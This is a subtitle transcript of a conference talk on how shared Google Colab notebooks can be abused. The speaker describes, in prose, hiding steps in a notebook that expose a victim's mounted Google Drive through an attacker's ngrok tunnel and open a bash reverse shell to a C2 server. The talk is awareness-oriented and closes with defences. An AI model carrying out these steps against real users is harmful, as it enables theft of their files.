1
00:00:02,930 --> 00:00:05,530
Let me... I will introduce Antonio.

2
00:00:06,550 --> 00:00:15,890
I'd like to welcome to the stage Antonio Piazza, who's going to present Careful Who You Collab With, Abusing Google Collaboratory.

3
00:00:15,890 --> 00:00:23,130
Antonio Piazza, hailing from Cleveland, Ohio, USA, is a Purple Team Leader and Offensive Security Engineer at NVIDIA.

4
00:00:23,130 --> 00:00:24,930
Following his stint as a U.S.

5
00:00:24,930 --> 00:00:29,710
Army Human Intelligence Collector, you and I should talk after your talk.

6
00:00:29,910 --> 00:00:39,370
He worked as a Defense Contractor Operator on an NSA Red Team, so he's intimately familiar with spies, hacking, and nerd stuff.

7
00:00:39,370 --> 00:00:55,550
Antonio is passionate about all things related to macOS security and hacking, thus spends his days researching macOS internals and security, as well as writing free open-source Red Team tools for use in the defense against the dark arts.

8
00:00:55,550 --> 00:00:57,970
Oh, that's... I... that sounds cool.

9
00:00:57,970 --> 00:01:04,450
As of late, he has been planning to implement machine learning into Red Teaming with his NVIDIA colleagues.

10
00:01:04,450 --> 00:01:06,870
So, please welcome Antonio.

11
00:01:09,170 --> 00:01:14,830
Sorry, I have to give you access, I guess.

12
00:01:33,230 --> 00:01:34,250
Oh, I see.

13
00:01:34,250 --> 00:01:34,910
Sorry.

14
00:01:34,910 --> 00:01:36,850
I was looking for your handle.

15
00:01:37,590 --> 00:01:38,930
There we go.

16
00:01:42,180 --> 00:01:43,860
Okay, you have access.

17
00:01:44,700 --> 00:01:45,560
All right.

18
00:01:45,560 --> 00:01:48,860
Make sure to pick up a microphone to get megaphone access.

19
00:01:54,780 --> 00:02:03,800
Just point your pointer at one of the microphones, and it'll change from a circle to a funny-looking icon, and then left-click to pick it up.

20
00:02:03,800 --> 00:02:04,620
Is that right?

21
00:02:04,620 --> 00:02:10,660
Left-click,

22
00:02:18,840 --> 00:02:21,880
I don't know why my icon's not changing.

23
00:02:21,880 --> 00:02:24,320
He has megaphone enabled, so he's good.

24
00:02:25,080 --> 00:02:26,060
Okay, yeah,

25
00:02:30,780 --> 00:02:33,640
I can learn how to use these controls.

26
00:02:33,640 --> 00:02:34,680
That'd be wonderful.

27
00:02:35,760 --> 00:02:38,700
Okay, thanks everyone.

28
00:02:38,700 --> 00:02:41,820
I really appreciate you coming and listening to this.

29
00:02:41,820 --> 00:02:45,000
Can everyone hear me okay before I start going on?

30
00:02:47,700 --> 00:02:53,660
This is my first formal doing anything in VR, so hopefully it goes well.

31
00:02:53,660 --> 00:02:59,400
I'm going to be looking at my slides a lot, so yell at me if something happens.

32
00:03:01,160 --> 00:03:14,540
So anyway, when I started this research, I was toying around with the idea of creating a startup that would provide a service to artists that would allow them to gain inspiration through AI.

33
00:03:14,540 --> 00:03:17,600
That was kind of the premise of the startup idea I had.

34
00:03:17,600 --> 00:03:21,760
And I wanted to start with music, because that's where my passion is.

35
00:03:21,760 --> 00:03:37,420
The idea was that a musician who needs inspiration for writing their next song could submit some samples of their music, or of songs from which they wish to emulate, or they gain inspiration from.

36
00:03:38,020 --> 00:03:49,240
And the AI would then throw together a bunch of riffs similar to, but not the same, as the style that the user submitted.

37
00:03:49,240 --> 00:04:04,460
I started using Google Collaborator and getting involved in the AI art music community, including the Databots Discord channel, and reading white papers concerning sample RNN.

38
00:04:04,940 --> 00:04:12,760
Not having a great GPU on my own computer at the time, and they were super expensive and hard to get.

39
00:04:13,060 --> 00:04:16,500
Not anymore, thanks to me working at NVIDIA.

40
00:04:16,560 --> 00:04:21,780
Some AI researchers in the community directed me to Google Collaboratory.

41
00:04:21,780 --> 00:04:29,560
So I started playing with it and found it to be a great tool for AI collaboration, and you get a free GPU, which is really nice.

42
00:04:30,180 --> 00:04:33,980
So this research didn't start with anything to do with security.

43
00:04:34,120 --> 00:04:35,600
Next slide, please.

44
00:04:36,980 --> 00:04:45,060
Then a researcher in the Databots Discord, who was involved in another project called OpenAI Jukebox.

45
00:04:45,340 --> 00:05:00,080
This platform allows the user to train the AI by feeding it a song or whatever, and the AI will give you, in return, a song where the artist sings the lyrics he provides.

46
00:05:00,080 --> 00:05:09,480
So I was playing around and trying to get Elvis to sing the lyrics of Sir Michelot's Baby Got Back in the style of Suspicious Minds.

47
00:05:09,480 --> 00:05:11,440
Next slide, please.

48
00:05:13,140 --> 00:05:25,220
And a researcher, Brockaloo, from the AI Jukebox research project helped me out by tweaking some of the configurations in my Google Cloud file, which he shared with me via this Discord message.

49
00:05:25,420 --> 00:05:33,560
I opened the file in Colab as normal, and again, as normal, I began the process of mounting my Google Drive in Colab.

50
00:05:33,620 --> 00:05:35,780
And this is when it hit me.

51
00:05:36,200 --> 00:05:46,280
When I mounted my Google Drive, this prompt came up on the screen, and it said, I don't know if you can read it, but it says, this notebook is requesting access to your Google Drive files.

52
00:05:46,280 --> 00:05:52,980
Your access to Google Drive will permit code executed in the notebook to modify files in your Google Drive.

53
00:05:52,980 --> 00:05:57,200
Make sure to review notebook code prior to allowing the access.

54
00:05:57,540 --> 00:06:00,520
And that's where security research began for this.

55
00:06:00,520 --> 00:06:01,840
So next slide, please.

56
00:06:02,960 --> 00:06:07,920
And again, the talk is titled, Careful Who You Colab With Abusing Google Collaboratory.

57
00:06:07,920 --> 00:06:09,620
Next slide, please.

58
00:06:10,580 --> 00:06:12,700
And I am Antonio Piazza.

59
00:06:12,700 --> 00:06:15,540
I go by Antman1P on the Twitters.

60
00:06:15,560 --> 00:06:18,320
I'm an offensive security engineer.

61
00:06:18,320 --> 00:06:22,220
Most of my security experience is strictly red teaming.

62
00:06:22,340 --> 00:06:29,420
I've worked at Zoom, Box, the Cleveland Clinic, on an NSA red team as a defense contractor.

63
00:06:29,420 --> 00:06:34,440
And now I am the purple team leader at NVIDIA on the threat operations team.

64
00:06:34,960 --> 00:06:39,620
And that ODIN logo down there, some stickers.

65
00:06:39,620 --> 00:06:41,240
If you're here at DEF CON, I'm here.

66
00:06:41,240 --> 00:06:45,360
I'll be down in the AI village after this talk, and I'll hand them out if you want some.

67
00:06:46,480 --> 00:06:54,540
I'm also in my final course of the Master's of Science in Information Security Engineering Program at SANS Technology Institute.

68
00:06:54,820 --> 00:06:58,280
I'm a father of five, a husband, and again, I love music.

69
00:06:58,280 --> 00:06:59,740
Next slide, please.

70
00:07:02,500 --> 00:07:05,880
So the agenda here, we're just going to be pretty brief.

71
00:07:05,880 --> 00:07:10,400
We're going to discuss what Google Collaboratory is, because I'm sure some of you don't know.

72
00:07:10,400 --> 00:07:11,760
Some of you might be familiar.

73
00:07:12,000 --> 00:07:17,160
We're going to talk about how we can abuse Google Collab, and then we're just going to kind of conclude.

74
00:07:17,620 --> 00:07:18,880
Next slide, please.

75
00:07:20,420 --> 00:07:24,160
So what is Google Collaboratory?

76
00:07:24,760 --> 00:07:29,360
I'll let Google define it, because I think they best describe it in detail.

77
00:07:29,460 --> 00:07:34,240
Collaboratory, or Collab for short, is a product from Google Research.

78
00:07:34,500 --> 00:07:45,780
Collab allows anybody to write and execute arbitrary Python code through the browser, and is especially well-suited to machine learning, data analysts, and education.

79
00:07:45,980 --> 00:07:59,660
More technically, Collab is a hosted Jupyter Notebook service that requires no setup to use, while providing access free of charge to computing resources, including GPUs.

80
00:07:59,700 --> 00:08:05,700
Collab resources are not guaranteed and not unlimited, and the usage limits sometimes fluctuate.

81
00:08:05,960 --> 00:08:16,260
So you actually, if you're interested in having reliable access and better resources, you could purchase Collab Pro, which is, I think, about $50 a month.

82
00:08:16,800 --> 00:08:20,940
Um, what is the difference between Jupyter and Collab?

83
00:08:21,060 --> 00:08:24,760
Jupyter is an open source project in which Collab is based.

84
00:08:24,760 --> 00:08:32,920
Collab allows you to use and share Jupyter Notebooks with others without having to download and install or run anything.

85
00:08:32,920 --> 00:08:39,420
So that's the example I gave of, you know, Broccoli sharing a Collab file with me.

86
00:08:39,840 --> 00:08:44,760
He was actually sharing a Jupyter Notebook file.

87
00:08:44,760 --> 00:08:46,380
Next slide, please.

88
00:08:47,520 --> 00:08:50,260
How is Collab normally used?

89
00:08:50,420 --> 00:08:57,000
You can write your own notebooks, which are stored in your Google account, Google Drive.

90
00:08:57,220 --> 00:09:05,540
Basically, you write Python code in a Jupyter Notebook cell, and you execute the cells by pushing the execute button.

91
00:09:05,540 --> 00:09:13,700
When you open or start a notebook, you connect it to a Collab runtime, and that's where you get your GPU and other resources.

92
00:09:14,760 --> 00:09:20,520
Spin up and start running, and you also may connect your notebook to your Google Drive.

93
00:09:20,520 --> 00:09:37,100
So in the slide here, the picture, I got arrows from a Jupyter cell, and you can see the little black play button, which is how you run a cell, and then on the upper right-hand corner, just showing you your resources usage for your runtime.

94
00:09:37,900 --> 00:09:38,860
Next slide, please.

95
00:09:40,600 --> 00:09:43,300
How is Collab normally used?

96
00:09:43,300 --> 00:09:49,560
Kind of continuing, you can import Python libraries, just as you could normally do in Python.

97
00:09:49,720 --> 00:09:58,840
You can install dependencies with pip, and you can clone Git repos all into these Jupyter Notebook cells.

98
00:09:59,040 --> 00:10:00,480
Next slide, please.

99
00:10:01,400 --> 00:10:05,540
You also have a Collab terminal.

100
00:10:05,540 --> 00:10:17,620
Once connected to the Collab runtime, you have a terminal that you can use to run shell commands, and once connected to Drive, you can navigate the connected Google Drive file system.

101
00:10:19,080 --> 00:10:22,040
A question, where is my code executed?

102
00:10:22,040 --> 00:10:25,760
What happens to my execution state if I close the browser window?

103
00:10:25,760 --> 00:10:30,660
The code is executed in a virtual machine private to your account.

104
00:10:30,700 --> 00:10:36,760
Virtual machines are deleted, when idle for a while, and have a minimum lifetime enforced by the Collab service.

105
00:10:36,760 --> 00:10:42,100
I don't, I haven't sat and tried to figure out what that time is, but that's something I'll probably do in the future.

106
00:10:42,340 --> 00:10:45,020
It seems to last a while, as long as you're active.

107
00:10:45,660 --> 00:10:46,920
Next slide, please.

108
00:10:50,970 --> 00:10:53,730
Finally, I want to touch on system aliases.

109
00:10:53,730 --> 00:11:10,390
So Jupyter has a number of system aliases, or basically command shortcuts, to common operations such as ls, cat, ps, kill, so just your normal, you know, Nix built-in commands.

110
00:11:10,690 --> 00:11:22,450
You can execute these from the Jupyter Notebook cell by adding the bang, the exclamation point before the command, so bang ls will run the ls command.

111
00:11:23,110 --> 00:11:24,810
Next slide, please.

112
00:11:26,450 --> 00:11:29,650
All right, so how is this abusable?

113
00:11:29,650 --> 00:11:30,970
Let's recap.

114
00:11:30,970 --> 00:11:42,630
If I'm an adversary and I share a Collab file with someone, a Jupyter Notebook with someone, if they choose to use my file, they must mount their Google Drive and execute it.

115
00:11:42,630 --> 00:11:44,070
So that's key, right?

116
00:11:44,270 --> 00:11:48,110
They would be executing the malicious code I sent them.

117
00:11:48,590 --> 00:11:57,090
The adversary could potentially access all of the contents of a victim's Google Drive and exfiltrate anything they choose at that point.

118
00:11:58,170 --> 00:12:09,230
The adversary could edit the victim's Collab files to create backdoors that might still exploit other users that the victim collaborates with.

119
00:12:09,810 --> 00:12:16,170
Can have a reverse shell on a Collab virtual machine in the runtime we're talking about.

120
00:12:17,630 --> 00:12:21,010
Is there a possibility to do a VM escape?

121
00:12:21,910 --> 00:12:22,870
Maybe.

122
00:12:24,390 --> 00:12:42,250
All this could be as simple as sending a phishing email with a link to a malicious Collab file or sending a link to a malicious Collab file in an AI community Discord server, just like the ones I hang out in and kind of the way that Broccoli shared the file.

123
00:12:42,450 --> 00:12:46,310
I got to say, the one he shared with me was not malicious, by the way.

124
00:12:46,310 --> 00:12:48,290
I scared him when he saw these slides.

125
00:12:48,290 --> 00:12:50,410
He thought, like, oh, my God, did I send you something malicious?

126
00:12:50,410 --> 00:12:53,890
I'm like, no, no, no, that just got my brain working like an adversary.

127
00:12:53,990 --> 00:12:59,850
So you can hide malicious code in Jupyter shells.

128
00:12:59,850 --> 00:13:04,070
You can hide it in Git repos since you can clone Git repos into a Jupyter notebook.

129
00:13:04,470 --> 00:13:06,150
So there's a number of ways.

130
00:13:06,390 --> 00:13:07,470
Next slide, please.

131
00:13:11,490 --> 00:13:20,990
So for a clear understanding of what an attacker might have access to, they successfully gain access to a victim's Collab runtime or their Google Drive.

132
00:13:20,990 --> 00:13:28,290
Here are the permissions that one grants when mounting a Google Drive for a Collab session.

133
00:13:29,450 --> 00:13:32,330
If you're having a hard time seeing these, I can read them real quick.

134
00:13:32,330 --> 00:13:36,490
But it's like see, edit, create, delete all of your Google Drive files.

135
00:13:36,630 --> 00:13:40,610
View the photos, videos, albums in your Google Photos.

136
00:13:40,930 --> 00:13:44,990
Retrieve mobile client configuration and experimentation.

137
00:13:45,930 --> 00:13:58,310
View Google people information, such as profiles and contacts or basically all the contacts you have in your Google account, including your phone or your Gmail.

138
00:13:59,490 --> 00:14:03,150
See, edit, create, and delete any of your Google Drive documents.

139
00:14:03,910 --> 00:14:05,190
Next slide, please.

140
00:14:08,430 --> 00:14:14,670
To see what an attacker might do, we can take a look at MITRE ATLAS.

141
00:14:14,770 --> 00:14:21,200
So ATLAS stands for Adversarial Threat Landscape for Artificial Intelligence Systems.

142
00:14:21,930 --> 00:14:40,150
It's a knowledge base of adversary tactics, techniques, and case studies in learning systems based on real-world observations, demonstrations from machine learning red teams and security groups, and the state of what's possible from academic research.

143
00:14:40,190 --> 00:14:46,110
ATLAS is basically modified after the MITRE ATT&CK framework, which people are commonly more familiar with.

144
00:14:46,190 --> 00:14:50,610
And its tactics and techniques are complementary to those in MITRE ATT&CK.

145
00:14:50,610 --> 00:14:54,470
So how can an attacker do this?

146
00:14:54,470 --> 00:15:03,050
Well, for initial access, we discussed phishing the AI community or ML research community via email or Discord servers.

147
00:15:03,530 --> 00:15:11,110
MITRE ATLAS has a machine learning supply chain compromise technique under the initial access tactic.

148
00:15:11,110 --> 00:15:12,330
That might make sense.

149
00:15:12,330 --> 00:15:16,950
So maybe we can add a sub-technique there for Jupyter Notebook sharing.

150
00:15:17,570 --> 00:15:22,830
Also, user execution under the execution tactic.

151
00:15:22,830 --> 00:15:29,990
So an attacker might hide a backdoor in a Jupyter cell or maybe hide a backdoor in a Git repo that the notebook clones.

152
00:15:30,610 --> 00:15:32,330
Next slide, please.

153
00:15:34,630 --> 00:15:38,690
This is an example here of hiding malicious code in Jupyter Notebook cells.

154
00:15:38,890 --> 00:15:45,850
Here is code on the left that will give an adversary access to the victim's Google Drive.

155
00:15:45,910 --> 00:15:54,090
While an adversary shared this notebook, a victim might easily recognize that this is not AI ML.

156
00:15:54,090 --> 00:16:01,330
This one on the left is just all for an adversary getting access to Google Drive.

157
00:16:01,350 --> 00:16:04,510
But some of the AI and ML notebooks are quite large.

158
00:16:04,510 --> 00:16:06,910
As you can see on the right, that's not even the whole thing.

159
00:16:06,910 --> 00:16:09,710
And I zoomed out as far as possible to take that screenshot.

160
00:16:10,230 --> 00:16:16,930
An adversary might be able to hide the malicious bits within normal machine learning code.

161
00:16:16,930 --> 00:16:26,370
So the image on the right is just one small piece from a collab project with an AI community member that an AI community member shared with me.

162
00:16:27,350 --> 00:16:36,650
Nothing malicious in there, just an example of how much code there is that an adversary could hide malicious cells and malicious code in.

163
00:16:36,710 --> 00:16:37,990
Next slide, please.

164
00:16:40,170 --> 00:16:47,510
Okay, so this is the example of the malicious code by the numbers, right?

165
00:16:47,730 --> 00:16:53,170
So imagine you receive a link to a collab file and you open it.

166
00:16:53,170 --> 00:17:00,510
If you run all of this, you will give the sender access to all your files via Google Drive, via ngrok.

167
00:17:01,290 --> 00:17:07,490
So the first thing you do in the code is for the victim is going to mount their Google Drive.

168
00:17:07,510 --> 00:17:10,550
And again, this is normal behavior for all collab files, right?

169
00:17:10,550 --> 00:17:20,030
Like in order to kind of persist and store the data created from running one of these, you have to store it somewhere.

170
00:17:20,030 --> 00:17:23,930
And when you're in the cloud, you're going to mount or you're going to store it.

171
00:17:25,210 --> 00:17:30,610
The next step, you're going to wget ngrok tarball and untar it.

172
00:17:31,330 --> 00:17:37,670
The third step is you're going to register your attacker ngrok API key.

173
00:17:37,810 --> 00:17:51,670
So it's a bit dangerous for an attacker to, I guess, hard code API key, but an attacker can always change it when they're done pillaging, or if they're unsuccessful with the attack.

174
00:17:51,670 --> 00:17:53,590
So it's not too bad.

175
00:17:54,270 --> 00:17:58,770
Step four is start a Python server on a specified port.

176
00:17:58,770 --> 00:18:09,570
So like 9999 in this case, and then run ngrok on the same port in step five.

177
00:18:10,510 --> 00:18:12,470
Next slide, please.

178
00:18:15,170 --> 00:18:18,870
So this is a video demo.

179
00:18:19,330 --> 00:18:26,310
I don't know, were you able to run the videos from this presentation?

180
00:18:28,210 --> 00:18:31,710
I don't know if that problem was solved or...

181
00:18:35,670 --> 00:18:37,570
I don't know if anybody can hear me.

182
00:18:39,190 --> 00:18:41,150
It should be running right now.

183
00:18:41,330 --> 00:18:42,050
Oh, it's running.

184
00:18:42,050 --> 00:18:42,370
Okay.

185
00:18:42,370 --> 00:18:44,550
I can't see it, but I'll just go ahead.

186
00:18:44,550 --> 00:18:49,810
So the victim, again, will run the cloud file, mount their drive.

187
00:18:49,810 --> 00:19:00,030
So you can see, but off screen, I'm picking up, or picking my Gmail account and allowing the drive access, as I showed in the image earlier.

188
00:19:00,230 --> 00:19:05,210
And now I could navigate the file system on the left, on the left, if I wanted.

189
00:19:06,630 --> 00:19:13,550
So installing Python requests, don't really need it here, but I want to show how you can use PIP if needed.

190
00:19:14,450 --> 00:19:21,610
I do a PWD to show the or the correct location of the Google Drive file system.

191
00:19:21,610 --> 00:19:29,250
And then I curl ifconfig.me to show my Cloud VM IP address.

192
00:19:29,290 --> 00:19:45,210
Wget to download ngrok, tar to untar ngrok, run ngrok, config to add my API key, run the Python server to serve the Google Drive root directory, run ngrok.

193
00:19:45,290 --> 00:19:54,990
And then on the attacker side, the attacker goes to the ngrok agents.

194
00:19:56,210 --> 00:20:00,790
Is there a way to, like, tilt my view so I can look up and see the slides?

195
00:20:00,790 --> 00:20:02,150
I'm, like, looking down.

196
00:20:03,210 --> 00:20:05,570
Yes, move your mouse forward.

197
00:20:09,830 --> 00:20:11,510
Oh, there it is.

198
00:20:11,510 --> 00:20:12,250
Okay.

199
00:20:12,250 --> 00:20:13,730
Oh, did something go wrong?

200
00:20:15,130 --> 00:20:16,210
Oh, no.

201
00:20:18,890 --> 00:20:20,170
No, no, you're okay.

202
00:20:20,170 --> 00:20:27,430
I think I'll just kind of... So on the attacker side, the attacker goes to ngrok agents.

203
00:20:28,070 --> 00:20:38,950
And you might have saw there the IP address of the agent matched what I got from the curling of ifconfig.me.

204
00:20:38,950 --> 00:20:39,870
And then we're in.

205
00:20:39,870 --> 00:20:45,410
So we can navigate the Google Drive system, download whatever we want from the victim.

206
00:20:45,910 --> 00:20:55,670
So that what you're seeing there is kind of like an upper browser, in-browser representation of the victim's Google Drive.

207
00:20:59,210 --> 00:21:00,450
Next slide, please.

208
00:21:04,110 --> 00:21:11,650
Okay, so that was the example of being able to get into a victim's Google Drive.

209
00:21:11,650 --> 00:21:14,430
And this one is a reverse shell example.

210
00:21:14,670 --> 00:21:19,650
It's really, it's two simple steps for this one.

211
00:21:19,650 --> 00:21:31,730
So basically, mount the victim Google Drive, and then do a bash TCP reverse shell to the adversary C2 server IP address.

212
00:21:31,730 --> 00:21:35,450
And I didn't show a video for this because it's just so simple.

213
00:21:35,450 --> 00:21:41,090
But you get the idea of what a reverse shell is going to look like.

214
00:21:42,090 --> 00:21:43,630
Next slide, please.

215
00:21:44,670 --> 00:21:49,190
Okay, so knowing all this, you know, what is the problem?

216
00:21:49,190 --> 00:21:53,070
So quickly, GPUs are a little harder to find.

217
00:21:53,070 --> 00:21:55,230
Supply chain issues.

218
00:21:55,230 --> 00:21:57,730
They're pretty expensive.

219
00:21:57,730 --> 00:22:03,850
Where Collab is free and even Pro is cheap.

220
00:22:03,890 --> 00:22:18,710
AI and ML researchers are starting to use Collab more, especially education sectors and universities are using something similar like these cloud-based Jupyter Notebooks, runtime environments.

221
00:22:19,330 --> 00:22:21,790
And researchers are collaborating and sharing, right?

222
00:22:21,790 --> 00:22:41,090
This is a pretty exciting time where we're able to, you know, someone like me, who's not super schooled in AI and ML can get their start because there's just so many cool, you know, so much cool research going on there and people are willing to share it and get to learn how to do all the crazy cool AI stuff.

223
00:22:43,870 --> 00:22:50,630
Where I think the problem comes in is that most AI and ML researchers and developers are not security experts, right?

224
00:22:50,630 --> 00:22:58,430
So it's kind of like at the beginning of software engineering, like nobody's really thinking about security.

225
00:22:58,450 --> 00:23:06,190
It took a while for that to change and we're kind of back like at square one with that, I think, with AI and ML researchers.

226
00:23:06,190 --> 00:23:17,190
The good news is security has been, you know, around for a while and we kind of saw the mistakes that were being made at the beginning, you know, with software engineering.

227
00:23:17,190 --> 00:23:27,170
So hopefully we can quickly jump in and start, you know, securing things in the machine learning and AI sector.

228
00:23:27,730 --> 00:23:30,790
And finally, phishing is easy, right?

229
00:23:30,950 --> 00:23:35,590
I've been on a lot of red teams and, you know, it's a numbers game.

230
00:23:35,590 --> 00:23:44,070
If I send out 100 phish, I know I'm going to get at least one, as long as they all make it through, you know, your email filtering.

231
00:23:44,550 --> 00:23:46,450
That's never really been a problem.

232
00:23:46,450 --> 00:23:49,490
So, and it's scary.

233
00:23:50,650 --> 00:23:53,030
How can we fix it?

234
00:23:53,490 --> 00:24:01,790
Well, ML researchers and people who are collaborating should read the code someone shares with them.

235
00:24:02,630 --> 00:24:12,890
Let that Google Drive mount warning remind you every time, like, oh, before I mount this, let me look through and make sure this code is good.

236
00:24:12,890 --> 00:24:16,090
And it's what I was expecting and nothing weird in there.

237
00:24:16,090 --> 00:24:29,790
And I know that's difficult, because again, in that example, that could be in one of these, you know, notebooks, it might be difficult to find those needle and haystack.

238
00:24:29,790 --> 00:24:33,790
And especially if the researcher doesn't know what to look for.

239
00:24:33,790 --> 00:24:46,890
So, you know, that's one thing I think, as security experts, we should probably start educating machine learning and AI researchers in what bad looks like, right?

240
00:24:46,890 --> 00:24:52,030
So, this is me, I'm hopefully getting something out, you know, to the security community.

241
00:24:52,030 --> 00:25:05,090
And hopefully, this will spread from the security community into the ML research and AI community and start using your expertise to educate those folks on what bad looks like.

242
00:25:05,090 --> 00:25:08,650
So then they can search for that in their notebooks.

243
00:25:10,350 --> 00:25:14,430
Maybe develop a code sharing plugin, you know, in Google Drive.

244
00:25:14,750 --> 00:25:19,510
Maybe Google can do that or the open source community can do that.

245
00:25:19,810 --> 00:25:21,050
Next slide, please.

246
00:25:23,070 --> 00:25:25,730
With that, thanks again.

247
00:25:25,930 --> 00:25:29,510
This is really cool doing something for the first time in VR.

248
00:25:29,650 --> 00:25:33,430
Hopefully, it went smoothly for everyone else.

249
00:25:34,490 --> 00:25:37,650
And again, I hope you got something out of this.

250
00:25:37,650 --> 00:25:40,190
And please feel free to ask any questions.

251
00:25:40,190 --> 00:25:43,990
I know I'm probably out of time here, but hopefully I can answer some questions.

252
00:25:48,450 --> 00:26:00,490
Do you think this problem should be fixed by Google or do you think it should be up to the user basically to kind of watch themselves to make sure they don't download any malicious code?

253
00:26:01,750 --> 00:26:06,870
You know, it's funny because I've heard that question before.

254
00:26:07,270 --> 00:26:11,730
Basically, is this a problem that the users need to solve?

255
00:26:11,770 --> 00:26:13,910
Well, absolutely.

256
00:26:13,910 --> 00:26:25,570
But, you know, if you think about it, security education has been trying to push the responsibility on the user, which ultimately it is in the end.

257
00:26:25,570 --> 00:26:27,710
But is that working?

258
00:26:27,870 --> 00:26:30,030
Are users listening?

259
00:26:30,030 --> 00:26:46,970
And especially if you're securing an enterprise or a corporate network or something, we would hope all the users would do diligence, but it just never turns out that way, right?

260
00:26:47,510 --> 00:26:55,390
I would love if every person would be super diligent when opening an email and not clicking on a link, right?

261
00:26:55,390 --> 00:26:57,030
But it just never happens.

262
00:26:57,030 --> 00:27:02,310
So, yeah, I mean, I think it's always an end user responsibility.

263
00:27:02,310 --> 00:27:10,450
But ultimately, I think, you know, we have to do our part as well as, you know, security experts.

264
00:27:10,850 --> 00:27:12,610
Should Google do anything?

265
00:27:13,370 --> 00:27:17,430
In my opinion, they should have more than just that warning.

266
00:27:18,770 --> 00:27:24,410
But, you know, I've submitted several things to Google.

267
00:27:24,410 --> 00:27:25,150
I don't know.

268
00:27:25,150 --> 00:27:28,610
I don't try to pick on Google, but I use Google a lot.

269
00:27:28,610 --> 00:27:30,210
So I end up finding things.

270
00:27:30,610 --> 00:27:34,110
I've submitted things and, you know, they're just like, oh, that works as normal.

271
00:27:34,110 --> 00:27:37,210
And I'm like, that doesn't seem like great security practice.

272
00:27:37,210 --> 00:27:40,270
But no, that's the response.

273
00:27:40,270 --> 00:27:43,590
So I don't have an expectation that Google will do anything.

274
00:27:43,590 --> 00:27:45,030
I wish they would.

275
00:27:45,030 --> 00:27:57,730
But, you know, I think ultimately, we're going to have to rely on the open source community to develop some plugins or, again, help educate people.

276
00:28:04,760 --> 00:28:05,720
Next slide, please.

277
00:28:05,720 --> 00:28:07,180
I actually have one more slide.

278
00:28:07,180 --> 00:28:14,660
Sometimes I get... it's not really a question, but people want to hear the maybe got back thing with Elvis.

279
00:28:16,220 --> 00:28:18,080
I can play it if you want.

280
00:28:31,870 --> 00:28:38,870
Well, I don't know if that went as smoothly as I hoped, but it's a work in progress.

281
00:28:38,870 --> 00:28:49,090
But it gets pretty crazy when the end, the AI starts singing in some alien language.

282
00:28:49,090 --> 00:28:58,590
It reminds me of this show, Devs, when they had that background weird noise of the quantum computer speaking.

283
00:28:58,590 --> 00:28:59,510
It's kind of spooky.

284
00:28:59,510 --> 00:29:02,450
But anyway, any other questions?

285
00:29:05,030 --> 00:29:05,510
All right.

286
00:29:05,510 --> 00:29:06,370
Well, thanks a lot.

287
00:29:06,370 --> 00:29:07,850
Again, I really appreciate it.

288
00:29:11,250 --> 00:29:13,270
Thank you, Antonio, for your presentation.

289
00:29:14,570 --> 00:29:17,230
I have to be careful, I guess, who we collab with from here on out.

290
00:29:17,230 --> 00:29:20,150
I never thought of that Jupyter Notebooks being used in that way.

291
00:29:20,150 --> 00:29:21,090
That's quite clever.